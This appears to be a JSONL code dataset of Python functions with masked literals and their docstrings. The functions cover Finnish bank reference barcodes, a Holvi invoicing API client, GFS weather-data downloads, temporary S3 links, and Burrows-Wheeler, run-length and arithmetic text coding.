{"signature": "def str2iso_reference(n):", "body": "cs_source = n + '<STR_LIT>'<EOL>cs = <NUM_LIT> - (iso_reference_str2int(cs_source) % <NUM_LIT>)<EOL>return \"<STR_LIT>\" % (cs, n)<EOL>", "docstring": "Calculates checksum (and adds the RF prefix) for an international reference number from a string (can contain any characters valid for the reference)", "id": "f6530:m6"}
{"signature": "def iso_reference_isvalid(ref):", "body": "ref = str(ref)<EOL>cs_source = ref[<NUM_LIT:4>:] + ref[:<NUM_LIT:4>]<EOL>return (iso_reference_str2int(cs_source) % <NUM_LIT>) == <NUM_LIT:1><EOL>", "docstring": "Validates ISO reference number", "id": "f6530:m7"}
{"signature": "def barcode(iban, reference, amount, due=None):", "body": "iban = iban.replace('<STR_LIT:U+0020>', '<STR_LIT>')<EOL>reference = reference.replace('<STR_LIT:U+0020>', '<STR_LIT>')<EOL>if reference.startswith('<STR_LIT>'):<EOL><INDENT>version = <NUM_LIT:5><EOL><DEDENT>else:<EOL><INDENT>version = <NUM_LIT:4><EOL><DEDENT>if version == <NUM_LIT:5>:<EOL><INDENT>reference = reference[<NUM_LIT:2>:]  <EOL>if len(reference) < <NUM_LIT>:<EOL><INDENT>reference = reference[:<NUM_LIT:2>] + (\"<STR_LIT:0>\" * (<NUM_LIT> - len(reference))) + reference[<NUM_LIT:2>:]<EOL><DEDENT><DEDENT>elif version == <NUM_LIT:4>:<EOL><INDENT>reference = reference.zfill(<NUM_LIT:20>)<EOL><DEDENT>if not iban.startswith('<STR_LIT>'):<EOL><INDENT>raise BarcodeException('<STR_LIT>')<EOL><DEDENT>iban = iban[<NUM_LIT:2>:]<EOL>amount = \"<STR_LIT>\" % (amount.quantize(Decimal('<STR_LIT>')).shift(<NUM_LIT:2>).to_integral_value())<EOL>if len(amount) != <NUM_LIT:8>:<EOL><INDENT>raise BarcodeException(\"<STR_LIT>\")<EOL><DEDENT>if due:<EOL><INDENT>due = due.strftime(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>due = \"<STR_LIT>\"<EOL><DEDENT>if version == <NUM_LIT:4>:<EOL><INDENT>barcode = \"<STR_LIT>\" % (version, iban, amount, reference, due)<EOL><DEDENT>elif version == <NUM_LIT:5>:<EOL><INDENT>barcode = \"<STR_LIT>\" % (version, iban, amount, reference, due)<EOL><DEDENT>return barcode<EOL>", "docstring": "Calculates virtual barcode for IBAN account number and ISO reference\n\n    Arguments:\n        iban {string} -- IBAN formed account number\n        reference {string} -- ISO 11649 creditor reference\n        amount {decimal.Decimal} -- Amount in euros, 0.01 - 999999.99\n        due {datetime.date} -- due date", "id": "f6530:m8"}
{"signature": "def _map_holvi_json_properties(self):", "body": "pass<EOL>", "docstring": "For mapping properties from _jsondata to something more Pythonic\n\n        For really simple objects there is no need to implement this", "id": "f6530:c1:m2"}
{"signature": "def to_holvi_dict(self):", "body": "return self._jsondata<EOL>", "docstring": "For mapping the object back to JSON dict that holvi accepts", "id": "f6530:c1:m3"}
{"signature": "def _init_empty(self):", "body": "raise NotImplementedError()<EOL>", "docstring": "Creates the base set of attributes object has/needs", "id": "f6530:c1:m5"}
{"signature": "def save(self):", "body": "raise NotImplementedError()<EOL>", "docstring": "Creates or updates the object", "id": "f6530:c1:m6"}
{"signature": "def _get_iter(self):", "body": "raise NotImplementedError()<EOL>", "docstring": "Must set self._iter", "id": "f6530:c2:m1"}
{"signature": "def _get_size(self):", "body": "raise NotImplementedError()<EOL>", "docstring": "Must set self.size", "id": "f6530:c2:m2"}
{"signature": "def _init_empty(self):", "body": "self._jsondata = {<EOL>\"<STR_LIT:code>\": None,<EOL>\"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": (datetime.datetime.now().date() + datetime.timedelta(days=<NUM_LIT>)).isoformat(),<EOL>\"<STR_LIT>\": datetime.datetime.now().date().isoformat(),<EOL>\"<STR_LIT>\": None,<EOL>\"<STR_LIT:type>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT:name>\": \"<STR_LIT>\",<EOL>\"<STR_LIT:email>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": \"<STR_LIT>\"<EOL>},<EOL>\"<STR_LIT>\": [],<EOL>}<EOL>", "docstring": "Creates the base set of attributes invoice has/needs", "id": "f6531:c0:m1"}
{"signature": "def send(self, send_email=True):", "body": "url = str(self.api.base_url + '<STR_LIT>').format(code=self.code)  <EOL>payload = {<EOL>'<STR_LIT>': True,<EOL>'<STR_LIT>': send_email,<EOL>}<EOL>stat = self.api.connection.make_put(url, payload)<EOL>", "docstring": "Marks the invoice as sent in Holvi\n\n        If send_email is False then the invoice is *not* automatically emailed to the recipient\n        and your must take care of sending the invoice yourself.", "id": "f6531:c0:m2"}
{"signature": "def to_holvi_dict(self):", "body": "self._jsondata[\"<STR_LIT>\"] = []<EOL>for item in self.items:<EOL><INDENT>self._jsondata[\"<STR_LIT>\"].append(item.to_holvi_dict())<EOL><DEDENT>self._jsondata[\"<STR_LIT>\"] = self.issue_date.isoformat()<EOL>self._jsondata[\"<STR_LIT>\"] = self.due_date.isoformat()<EOL>self._jsondata[\"<STR_LIT>\"] = self.receiver.to_holvi_dict()<EOL>return {k: v for (k, v) in self._jsondata.items() if k in self._valid_keys}<EOL>", "docstring": "Convert our Python object to JSON acceptable to Holvi API", "id": "f6531:c0:m3"}
{"signature": "def save(self):", "body": "if not self.items:<EOL><INDENT>raise HolviError(\"<STR_LIT>\")<EOL><DEDENT>if not self.subject:<EOL><INDENT>raise HolviError(\"<STR_LIT>\")<EOL><DEDENT>send_json = self.to_holvi_dict()<EOL>if self.code:<EOL><INDENT>url = str(self.api.base_url + '<STR_LIT>').format(code=self.code)<EOL>if not self.code:<EOL><INDENT>send_patch = {k: v for (k, v) in send_json.items() if k in self._patch_valid_keys}<EOL>send_patch[\"<STR_LIT>\"] = []<EOL>for item in self.items:<EOL><INDENT>send_patch[\"<STR_LIT>\"].append(item.to_holvi_dict(True))<EOL><DEDENT>stat = self.api.connection.make_patch(url, send_patch)<EOL><DEDENT>else:<EOL><INDENT>stat = self.api.connection.make_put(url, send_json)<EOL><DEDENT>return Invoice(self.api, stat)<EOL><DEDENT>else:<EOL><INDENT>url = str(self.api.base_url)<EOL>stat = self.api.connection.make_post(url, send_json)<EOL>return Invoice(self.api, stat)<EOL><DEDENT>", "docstring": "Saves this invoice to Holvi, returns the created/updated invoice", "id": "f6531:c0:m4"}
{"signature": "def void(self):", "body": "return self.delete()<EOL>", "docstring": "Mark invoice as void in Holvi", "id": "f6531:c0:m5"}
{"signature": "def delete(self):", "body": "url = str(self.api.base_url + '<STR_LIT>').format(code=self.code)  <EOL>payload = {<EOL>'<STR_LIT>': True,<EOL>}<EOL>stat = self.api.connection.make_put(url, payload)<EOL>", "docstring": "Mark invoice as void in Holvi", "id": "f6531:c0:m6"}
{"signature": "def list_invoices(self, **kwargs):", "body": "invoices = self.connection.make_get(self.base_url, params=kwargs)<EOL>return InvoiceList(invoices, self)<EOL>", "docstring": "Lists all invoices in the system, returns InvoiceList you can iterate over.\n\n        Add Holvi supported GET filters via kwargs, on 2016.01.13 I was informed following keys are supported:\n\n          - reference (lookup_type='icontains')\n          - serial (Slightly complicated: try 'prefix-number-year', 'number-year', 'number', 'prefix')\n          - category (exact)\n          - receiver (field='receiver.name', lookup_type='icontains')\n          - subject (lookup_type='icontains')\n          - status (exact)\n          - create_time_from (field='create_time', lookup_type='gte')\n          - create_time_to (field='create_time', lookup_type='lte')\n          - update_time_from (field='update_time', lookup_type='gte')\n          - update_time_to (field='update_time', lookup_type='lte')\n\n        All times are ISO datetimes, try for example '2016-01-20T00:00:00.0Z'.\n\n        For other kinds of filtering use Pythons filter() function as usual.", "id": "f6531:c3:m1"}
{"signature": "def get_invoice(self, invoice_code):", "body": "url = self.base_url + '<STR_LIT>'.format(code=invoice_code)<EOL>ijson = self.connection.make_get(url)<EOL>return Invoice(self, ijson)<EOL>", "docstring": "Retrieve given Invoice", "id": "f6531:c3:m2"}
{"signature": "def convertShpToExtend(pathToShp):", "body": "driver = ogr.GetDriverByName('<STR_LIT>')<EOL>dataset = driver.Open(pathToShp)<EOL>if dataset is not None:<EOL><INDENT>layer = dataset.GetLayer()<EOL>spatialRef = layer.GetSpatialRef()<EOL>feature = layer.GetNextFeature()<EOL>geom = feature.GetGeometryRef()<EOL>spatialRef = geom.GetSpatialReference()<EOL>outSpatialRef = osr.SpatialReference()<EOL>outSpatialRef.ImportFromEPSG(<NUM_LIT>)<EOL>coordTrans = osr.CoordinateTransformation(spatialRef, outSpatialRef)<EOL>env = geom.GetEnvelope()<EOL>pointMAX = ogr.Geometry(ogr.wkbPoint)<EOL>pointMAX.AddPoint(env[<NUM_LIT:1>], env[<NUM_LIT:3>])<EOL>pointMAX.Transform(coordTrans)<EOL>pointMIN = ogr.Geometry(ogr.wkbPoint)<EOL>pointMIN.AddPoint(env[<NUM_LIT:0>], env[<NUM_LIT:2>])<EOL>pointMIN.Transform(coordTrans)<EOL>return [pointMAX.GetPoint()[<NUM_LIT:1>],pointMIN.GetPoint()[<NUM_LIT:0>],pointMIN.GetPoint()[<NUM_LIT:1>],pointMAX.GetPoint()[<NUM_LIT:0>]]<EOL><DEDENT>else:<EOL><INDENT>exit(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "reprojette en WGS84 et recupere l'extend", "id": "f6533:m5"}
{"signature": "def create_request_gfs(dateStart,dateEnd,stepList,levelList,grid,extent,paramList,typeData):", "body": "URLlist=[]<EOL>listForcastSurface=['<STR_LIT>','<STR_LIT>','<STR_LIT>','<STR_LIT>','<STR_LIT>','<STR_LIT>','<STR_LIT>','<STR_LIT>','<STR_LIT>','<STR_LIT>','<STR_LIT>','<STR_LIT>','<STR_LIT>','<STR_LIT>','<STR_LIT>','<STR_LIT>','<STR_LIT>']<EOL>if (<NUM_LIT:0> not in [int(x) for x in stepList]):<EOL><INDENT>listForcastSurface=listForcastSurface+['<STR_LIT>','<STR_LIT>','<STR_LIT>','<STR_LIT>','<STR_LIT>','<STR_LIT>','<STR_LIT>','<STR_LIT>','<STR_LIT>','<STR_LIT>','<STR_LIT>','<STR_LIT>','<STR_LIT>','<STR_LIT>','<STR_LIT>','<STR_LIT>','<STR_LIT>','<STR_LIT>','<STR_LIT>','<STR_LIT>','<STR_LIT>','<STR_LIT>','<STR_LIT>']<EOL><DEDENT>listAnalyseSurface=['<STR_LIT>','<STR_LIT>','<STR_LIT>','<STR_LIT>','<STR_LIT>','<STR_LIT>']<EOL>if typeData == '<STR_LIT>' and all([x in listAnalyseSurface for x in paramList]):<EOL><INDENT>typeData= '<STR_LIT>'<EOL>validChoice = None<EOL>prbParameters =  None<EOL><DEDENT>else:<EOL><INDENT>if all([x in listForcastSurface for x in paramList]) and typeData != '<STR_LIT>':<EOL><INDENT>if typeData=='<STR_LIT>':<EOL><INDENT>typeData= '<STR_LIT>'<EOL>validChoice = typeData<EOL><DEDENT>else:<EOL><INDENT>validChoice = None<EOL><DEDENT>indexParameters=[i for i, elem in enumerate([x in listAnalyseSurface for x in paramList], <NUM_LIT:1>) if not elem]<EOL>prbParameters=[]<EOL>for i in indexParameters:<EOL><INDENT>prbParameters.append(paramList[i-<NUM_LIT:1>])<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if typeData != '<STR_LIT>':<EOL><INDENT>typeData= '<STR_LIT>'<EOL>validChoice = typeData<EOL><DEDENT>else:<EOL><INDENT>validChoice = None<EOL><DEDENT>indexParameters=[i for i, elem in enumerate([x in listAnalyseSurface for x in paramList], <NUM_LIT:1>) if not elem]<EOL>prbParameters=[]<EOL>for i in indexParameters:<EOL><INDENT>prbParameters.append(paramList[i-<NUM_LIT:1>])<EOL><DEDENT><DEDENT><DEDENT>today=date.today()<EOL>lastData = today - timedelta(days=<NUM_LIT>)<EOL>if dateStart < lastData or dateEnd > today : <EOL><INDENT>exit('<STR_LIT>' )<EOL><DEDENT>else:<EOL><INDENT>nbDays=(dateEnd-dateStart).days+<NUM_LIT:1><EOL>for i in range(<NUM_LIT:0>,nbDays):<EOL><INDENT>if dateStart + timedelta(days=i) == today:<EOL><INDENT>maxT=datetime.now().hour-<NUM_LIT:5><EOL>timeListCorr=[ x for x in stepList if x<maxT ]<EOL><DEDENT>else:<EOL><INDENT>timeListCorr=stepList<EOL><DEDENT>for t in timeListCorr:<EOL><INDENT>URL='<STR_LIT>'<EOL>URL=URL+\"<STR_LIT>\".format(grid).replace('<STR_LIT:.>','<STR_LIT:p>')+'<STR_LIT>'<EOL>URL=URL+'<STR_LIT:t>'+str(t).zfill(<NUM_LIT:2>)+'<STR_LIT>'<EOL>if (grid==<NUM_LIT:0.5>):<EOL><INDENT>URL=URL+'<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>URL=URL+'<STR_LIT>'<EOL><DEDENT>URL=URL+\"<STR_LIT>\".format(grid).replace('<STR_LIT:.>','<STR_LIT:p>')+'<STR_LIT:.>'<EOL>if typeData=='<STR_LIT>':<EOL><INDENT>URL=URL+'<STR_LIT>'<EOL><DEDENT>elif typeData=='<STR_LIT>':<EOL><INDENT>URL=URL+'<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>URL=URL+'<STR_LIT>'<EOL><DEDENT>URL=URL+\"<STR_LIT>\".join(levelList)+\"<STR_LIT>\"<EOL>URL=URL+\"<STR_LIT>\".join(paramList)+\"<STR_LIT>\"<EOL>URL=URL+\"<STR_LIT>\"+str(round(float(extent[<NUM_LIT:1>])-<NUM_LIT>,<NUM_LIT:1>))+\"<STR_LIT>\"+str(round(float(extent[<NUM_LIT:3>])+<NUM_LIT>,<NUM_LIT:1>))+\"<STR_LIT>\"+str(round(float(extent[<NUM_LIT:0>])+<NUM_LIT:0.5>,<NUM_LIT:1>))+\"<STR_LIT>\"+str(round(float(extent[<NUM_LIT:2>])-<NUM_LIT:0.5>,<NUM_LIT:1>))<EOL>URL=URL+\"<STR_LIT>\"+\"<STR_LIT>\".format(dateStart+timedelta(days=i))+str(t).zfill(<NUM_LIT:2>)<EOL>URLlist.append(URL)<EOL><DEDENT><DEDENT>return (URLlist,validChoice,prbParameters)<EOL><DEDENT>", "docstring": "Genere la structure de requete pour le t\u00e9l\u00e9chargement de donn\u00e9es GFS\n\nINPUTS:\\n\n-date : au format annee-mois-jour\\n\n-heure : au format heure:minute:seconde\\n\n-coord : une liste des coordonnees au format [N,W,S,E]\\n\n-dim_grille : taille de la grille en degree \\n", "id": "f6533:m13"}
{"signature": "def convertGribToTiff(listeFile,listParam,listLevel,liststep,grid,startDate,endDate,outFolder):", "body": "dicoValues={}<EOL>for l in listeFile:<EOL><INDENT>grbs = pygrib.open(l)<EOL>grbs.seek(<NUM_LIT:0>)<EOL>index=<NUM_LIT:1><EOL>for j in range(len(listLevel),<NUM_LIT:0>,-<NUM_LIT:1>):<EOL><INDENT>for i in range(len(listParam)-<NUM_LIT:1>,-<NUM_LIT:1>,-<NUM_LIT:1>):<EOL><INDENT>grb = grbs[index]<EOL>p=grb.name.replace('<STR_LIT:U+0020>','<STR_LIT:_>')<EOL>if grb.level != <NUM_LIT:0>:<EOL><INDENT>l=str(grb.level)+'<STR_LIT:_>'+grb.typeOfLevel<EOL><DEDENT>else:<EOL><INDENT>l=grb.typeOfLevel<EOL><DEDENT>if p+'<STR_LIT:_>'+l not in dicoValues.keys():<EOL><INDENT>dicoValues[p+'<STR_LIT:_>'+l]=[]<EOL><DEDENT>dicoValues[p+'<STR_LIT:_>'+l].append(grb.values)<EOL>shape=grb.values.shape<EOL>lat,lon=grb.latlons()<EOL>geoparam=(lon.min(),lat.max(),grid,grid)<EOL>index+= <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT>nbJour=(endDate-startDate).days+<NUM_LIT:1><EOL>for s in range(<NUM_LIT:0>, (len(liststep)*nbJour-len(listeFile))):<EOL><INDENT>for k in dicoValues.keys():<EOL><INDENT>dicoValues[k].append(np.full(shape, np.nan))<EOL><DEDENT><DEDENT>for i in range(len(dicoValues.keys())-<NUM_LIT:1>,-<NUM_LIT:1>,-<NUM_LIT:1>):<EOL><INDENT>dictParam=dict((k,dicoValues[dicoValues.keys()[i]][k]) for k in range(<NUM_LIT:0>,len(dicoValues[dicoValues.keys()[i]])))<EOL>sorted(dictParam.items(), key=lambda x: x[<NUM_LIT:0>])<EOL>outputImg=outFolder+'<STR_LIT:/>'+dicoValues.keys()[i]+'<STR_LIT:_>'+startDate.strftime('<STR_LIT>')+'<STR_LIT:_>'+endDate.strftime('<STR_LIT>')+'<STR_LIT>'<EOL>writeTiffFromDicoArray(dictParam,outputImg,shape,geoparam)<EOL><DEDENT>for f in listeFile:<EOL><INDENT>os.remove(f)<EOL><DEDENT>", "docstring": "Convert GRIB to Tif", "id": "f6533:m18"}
{"signature": "@click.command()<EOL>@click.argument('<STR_LIT:filename>')<EOL>@click.option('<STR_LIT>', default=<NUM_LIT>, type=int)<EOL>@click.option('<STR_LIT>', default='<STR_LIT>')<EOL>@click.option('<STR_LIT>')<EOL>@click.option('<STR_LIT>')<EOL>def slinky(filename, seconds_available, bucket_name, aws_key, aws_secret):", "body": "if not os.environ.get('<STR_LIT>') and os.environ.get('<STR_LIT>'):<EOL><INDENT>print('<STR_LIT>')<EOL>exit()<EOL><DEDENT>print(create_temp_s3_link(filename, seconds_available, bucket_name))<EOL>", "docstring": "Simple program that creates an temp S3 link.", "id": "f6538:m0"}
{"signature": "def bwt_encode(word, terminator='<STR_LIT>'):", "body": "return BWT().encode(word, terminator)<EOL>", "docstring": "r\"\"\"Return the Burrows-Wheeler transformed form of a word.\n\n    This is a wrapper for :py:meth:`BWT.encode`.\n\n    Parameters\n    ----------\n    word : str\n        The word to transform using BWT\n    terminator : str\n        A character added to signal the end of the string\n\n    Returns\n    -------\n    str\n        Word encoded by BWT\n\n    Examples\n    --------\n    >>> bwt_encode('align')\n    'n\\x00ilag'\n    >>> bwt_encode('banana')\n    'annb\\x00aa'\n    >>> bwt_encode('banana', '@')\n    'annb@aa'", "id": "f6541:m0"}
{"signature": "def bwt_decode(code, terminator='<STR_LIT>'):", "body": "return BWT().decode(code, terminator)<EOL>", "docstring": "r\"\"\"Return a word decoded from BWT form.\n\n    This is a wrapper for :py:meth:`BWT.decode`.\n\n    Parameters\n    ----------\n    code : str\n        The word to transform from BWT form\n    terminator : str\n        A character added to signal the end of the string\n\n    Returns\n    -------\n    str\n        Word decoded by BWT\n\n    Examples\n    --------\n    >>> bwt_decode('n\\x00ilag')\n    'align'\n    >>> bwt_decode('annb\\x00aa')\n    'banana'\n    >>> bwt_decode('annb@aa', '@')\n    'banana'", "id": "f6541:m1"}
{"signature": "def encode(self, word, terminator='<STR_LIT>'):", "body": "if word:<EOL><INDENT>if terminator in word:<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>'.format(<EOL>terminator if terminator != '<STR_LIT>' else '<STR_LIT>'<EOL>)<EOL>)<EOL><DEDENT>else:<EOL><INDENT>word += terminator<EOL>wordlist = sorted(<EOL>word[i:] + word[:i] for i in range(len(word))<EOL>)<EOL>return '<STR_LIT>'.join([w[-<NUM_LIT:1>] for w in wordlist])<EOL><DEDENT><DEDENT>else:<EOL><INDENT>return terminator<EOL><DEDENT>", "docstring": "r\"\"\"Return the Burrows-Wheeler transformed form of a word.\n\n        Parameters\n        ----------\n        word : str\n            The word to transform using BWT\n        terminator : str\n            A character added to signal the end of the string\n\n        Returns\n        -------\n        str\n            Word encoded by BWT\n\n        Raises\n        ------\n        ValueError\n            Specified terminator absent from code.\n\n        Examples\n        --------\n        >>> bwt = BWT()\n        >>> bwt.encode('align')\n        'n\\x00ilag'\n        >>> bwt.encode('banana')\n        'annb\\x00aa'\n        >>> bwt.encode('banana', '@')\n        'annb@aa'", "id": "f6541:c0:m0"}
{"signature": "def decode(self, code, terminator='<STR_LIT>'):", "body": "if code:<EOL><INDENT>if terminator not in code:<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>'.format(<EOL>terminator if terminator != '<STR_LIT>' else '<STR_LIT>'<EOL>)<EOL>)<EOL><DEDENT>else:<EOL><INDENT>wordlist = ['<STR_LIT>'] * len(code)<EOL>for i in range(len(code)):<EOL><INDENT>wordlist = sorted(<EOL>code[i] + wordlist[i] for i in range(len(code))<EOL>)<EOL><DEDENT>rows = [w for w in wordlist if w[-<NUM_LIT:1>] == terminator][<NUM_LIT:0>]<EOL>return rows.rstrip(terminator)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>", "docstring": "r\"\"\"Return a word decoded from BWT form.\n\n        Parameters\n        ----------\n        code : str\n            The word to transform from BWT form\n        terminator : str\n            A character added to signal the end of the string\n\n        Returns\n        -------\n        str\n            Word decoded by BWT\n\n        Raises\n        ------\n        ValueError\n            Specified terminator absent from code.\n\n        Examples\n        --------\n        >>> bwt = BWT()\n        >>> bwt.decode('n\\x00ilag')\n        'align'\n        >>> bwt.decode('annb\\x00aa')\n        'banana'\n        >>> bwt.decode('annb@aa', '@')\n        'banana'", "id": "f6541:c0:m1"}
{"signature": "def rle_encode(text, use_bwt=True):", "body": "if use_bwt:<EOL><INDENT>text = BWT().encode(text)<EOL><DEDENT>return RLE().encode(text)<EOL>", "docstring": "r\"\"\"Perform encoding of run-length-encoding (RLE).\n\n    This is a wrapper for :py:meth:`RLE.encode`.\n\n    Parameters\n    ----------\n    text : str\n        A text string to encode\n    use_bwt : bool\n        Indicates whether to perform BWT encoding before RLE encoding\n\n    Returns\n    -------\n    str\n        Word decoded by RLE\n\n    Examples\n    --------\n    >>> rle_encode('align')\n    'n\\x00ilag'\n    >>> rle_encode('align', use_bwt=False)\n    'align'\n\n    >>> rle_encode('banana')\n    'annb\\x00aa'\n    >>> rle_encode('banana', use_bwt=False)\n    'banana'\n\n    >>> rle_encode('aaabaabababa')\n    'ab\\x00abbab5a'\n    >>> rle_encode('aaabaabababa', False)\n    '3abaabababa'", "id": "f6542:m0"}
{"signature": "def rle_decode(text, use_bwt=True):", "body": "text = RLE().decode(text)<EOL>if use_bwt:<EOL><INDENT>text = BWT().decode(text)<EOL><DEDENT>return text<EOL>", "docstring": "r\"\"\"Perform decoding of run-length-encoding (RLE).\n\n    This is a wrapper for :py:meth:`RLE.decode`.\n\n    Parameters\n    ----------\n    text : str\n        A text string to decode\n    use_bwt : bool\n        Indicates whether to perform BWT decoding after RLE decoding\n\n    Returns\n    -------\n    str\n        Word decoded by RLE\n\n    Examples\n    --------\n    >>> rle_decode('n\\x00ilag')\n    'align'\n    >>> rle_decode('align', use_bwt=False)\n    'align'\n\n    >>> rle_decode('annb\\x00aa')\n    'banana'\n    >>> rle_decode('banana', use_bwt=False)\n    'banana'\n\n    >>> rle_decode('ab\\x00abbab5a')\n    'aaabaabababa'\n    >>> rle_decode('3abaabababa', False)\n    'aaabaabababa'", "id": "f6542:m1"}
{"signature": "def encode(self, text):", "body": "if text:<EOL><INDENT>text = ((len(list(g)), k) for k, g in groupby(text))<EOL>text = (<EOL>(str(n) + k if n > <NUM_LIT:2> else (k if n == <NUM_LIT:1> else <NUM_LIT:2> * k))<EOL>for n, k in text<EOL>)<EOL><DEDENT>return '<STR_LIT>'.join(text)<EOL>", "docstring": "r\"\"\"Perform encoding of run-length-encoding (RLE).\n\n        Parameters\n        ----------\n        text : str\n            A text string to encode\n\n        Returns\n        -------\n        str\n            Word decoded by RLE\n\n        Examples\n        --------\n        >>> rle = RLE()\n        >>> bwt = BWT()\n        >>> rle.encode(bwt.encode('align'))\n        'n\\x00ilag'\n        >>> rle.encode('align')\n        'align'\n\n        >>> rle.encode(bwt.encode('banana'))\n        'annb\\x00aa'\n        >>> rle.encode('banana')\n        'banana'\n\n        >>> rle.encode(bwt.encode('aaabaabababa'))\n        'ab\\x00abbab5a'\n        >>> rle.encode('aaabaabababa')\n        '3abaabababa'", "id": "f6542:c0:m0"}
{"signature": "def decode(self, text):", "body": "mult = '<STR_LIT>'<EOL>decoded = []<EOL>for letter in list(text):<EOL><INDENT>if not letter.isdigit():<EOL><INDENT>if mult:<EOL><INDENT>decoded.append(int(mult) * letter)<EOL>mult = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>decoded.append(letter)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>mult += letter<EOL><DEDENT><DEDENT>text = '<STR_LIT>'.join(decoded)<EOL>return text<EOL>", "docstring": "r\"\"\"Perform decoding of run-length-encoding (RLE).\n\n        Parameters\n        ----------\n        text : str\n            A text string to decode\n\n        Returns\n        -------\n        str\n            Word decoded by RLE\n\n        Examples\n        --------\n        >>> rle = RLE()\n        >>> bwt = BWT()\n        >>> bwt.decode(rle.decode('n\\x00ilag'))\n        'align'\n        >>> rle.decode('align')\n        'align'\n\n        >>> bwt.decode(rle.decode('annb\\x00aa'))\n        'banana'\n        >>> rle.decode('banana')\n        'banana'\n\n        >>> bwt.decode(rle.decode('ab\\x00abbab5a'))\n        'aaabaabababa'\n        >>> rle.decode('3abaabababa')\n        'aaabaabababa'", "id": "f6542:c0:m1"}
{"signature": "def ac_train(text):", "body": "return Arithmetic(text).get_probs()<EOL>", "docstring": "r\"\"\"Generate a probability dict from the provided text.\n\n    This is a wrapper for :py:meth:`Arithmetic.train`.\n\n    Parameters\n    ----------\n    text : str\n        The text data over which to calculate probability statistics. This must\n        not contain the NUL (0x00) character because that's used to indicate\n        the end of data.\n\n    Returns\n    -------\n    dict\n        A probability dict\n\n    Example\n    -------\n    >>> ac_train('the quick brown fox jumped over the lazy dog')\n    {' ': (Fraction(0, 1), Fraction(8, 45)),\n     'o': (Fraction(8, 45), Fraction(4, 15)),\n     'e': (Fraction(4, 15), Fraction(16, 45)),\n     'u': (Fraction(16, 45), Fraction(2, 5)),\n     't': (Fraction(2, 5), Fraction(4, 9)),\n     'r': (Fraction(4, 9), Fraction(22, 45)),\n     'h': (Fraction(22, 45), Fraction(8, 15)),\n     'd': (Fraction(8, 15), Fraction(26, 45)),\n     'z': (Fraction(26, 45), Fraction(3, 5)),\n     'y': (Fraction(3, 5), Fraction(28, 45)),\n     'x': (Fraction(28, 45), Fraction(29, 45)),\n     'w': (Fraction(29, 45), Fraction(2, 3)),\n     'v': (Fraction(2, 3), Fraction(31, 45)),\n     'q': (Fraction(31, 45), Fraction(32, 45)),\n     'p': (Fraction(32, 45), Fraction(11, 15)),\n     'n': (Fraction(11, 15), Fraction(34, 45)),\n     'm': (Fraction(34, 45), Fraction(7, 9)),\n     'l': (Fraction(7, 9), Fraction(4, 5)),\n     'k': (Fraction(4, 5), Fraction(37, 45)),\n     'j': (Fraction(37, 45), Fraction(38, 45)),\n     'i': (Fraction(38, 45), Fraction(13, 15)),\n     'g': (Fraction(13, 15), Fraction(8, 9)),\n     'f': (Fraction(8, 9), Fraction(41, 45)),\n     'c': (Fraction(41, 45), Fraction(14, 15)),\n     'b': (Fraction(14, 15), Fraction(43, 45)),\n     'a': (Fraction(43, 45), Fraction(44, 45)),\n     '\\x00': (Fraction(44, 45), Fraction(1, 1))}", "id": "f6544:m0"}
{"signature": "def ac_encode(text, probs):", "body": "coder = Arithmetic()<EOL>coder.set_probs(probs)<EOL>return coder.encode(text)<EOL>", "docstring": "Encode a text using arithmetic coding with the provided probabilities.\n\n    This is a wrapper for :py:meth:`Arithmetic.encode`.\n\n    Parameters\n    ----------\n    text : str\n        A string to encode\n    probs : dict\n        A probability statistics dictionary generated by\n        :py:meth:`Arithmetic.train`\n\n    Returns\n    -------\n    tuple\n        The arithmetically coded text\n\n    Example\n    -------\n    >>> pr = ac_train('the quick brown fox jumped over the lazy dog')\n    >>> ac_encode('align', pr)\n    (16720586181, 34)", "id": "f6544:m1"}
{"signature": "def ac_decode(longval, nbits, probs):", "body": "coder = Arithmetic()<EOL>coder.set_probs(probs)<EOL>return coder.decode(longval, nbits)<EOL>", "docstring": "Decode the number to a string using the given statistics.\n\n    This is a wrapper for :py:meth:`Arithmetic.decode`.\n\n    Parameters\n    ----------\n    longval : int\n        The first part of an encoded tuple from ac_encode\n    nbits : int\n        The second part of an encoded tuple from ac_encode\n    probs : dict\n        A probability statistics dictionary generated by\n        :py:meth:`Arithmetic.train`\n\n    Returns\n    -------\n    str\n        The arithmetically decoded text\n\n    Example\n    -------\n    >>> pr = ac_train('the quick brown fox jumped over the lazy dog')\n    >>> ac_decode(16720586181, 34, pr)\n    'align'", "id": "f6544:m2"}
{"signature": "def __init__(self, text=None):", "body": "if text is not None:<EOL><INDENT>self.train(text)<EOL><DEDENT>", "docstring": "Initialize arithmetic coder object.\n\n        Parameters\n        ----------\n        text : str\n            The training text", "id": "f6544:c0:m0"}
{"signature": "def get_probs(self):", "body": "return self._probs<EOL>", "docstring": "Return the probs dictionary.\n\n        Returns\n        -------\n        dict\n            The dictionary of probabilities", "id": "f6544:c0:m1"}
{"signature": "def set_probs(self, probs):", "body": "self._probs = probs<EOL>", "docstring": "Set the probs dictionary.\n\n        Parameters\n        ----------\n        probs : dict\n            The dictionary of probabilities", "id": "f6544:c0:m2"}
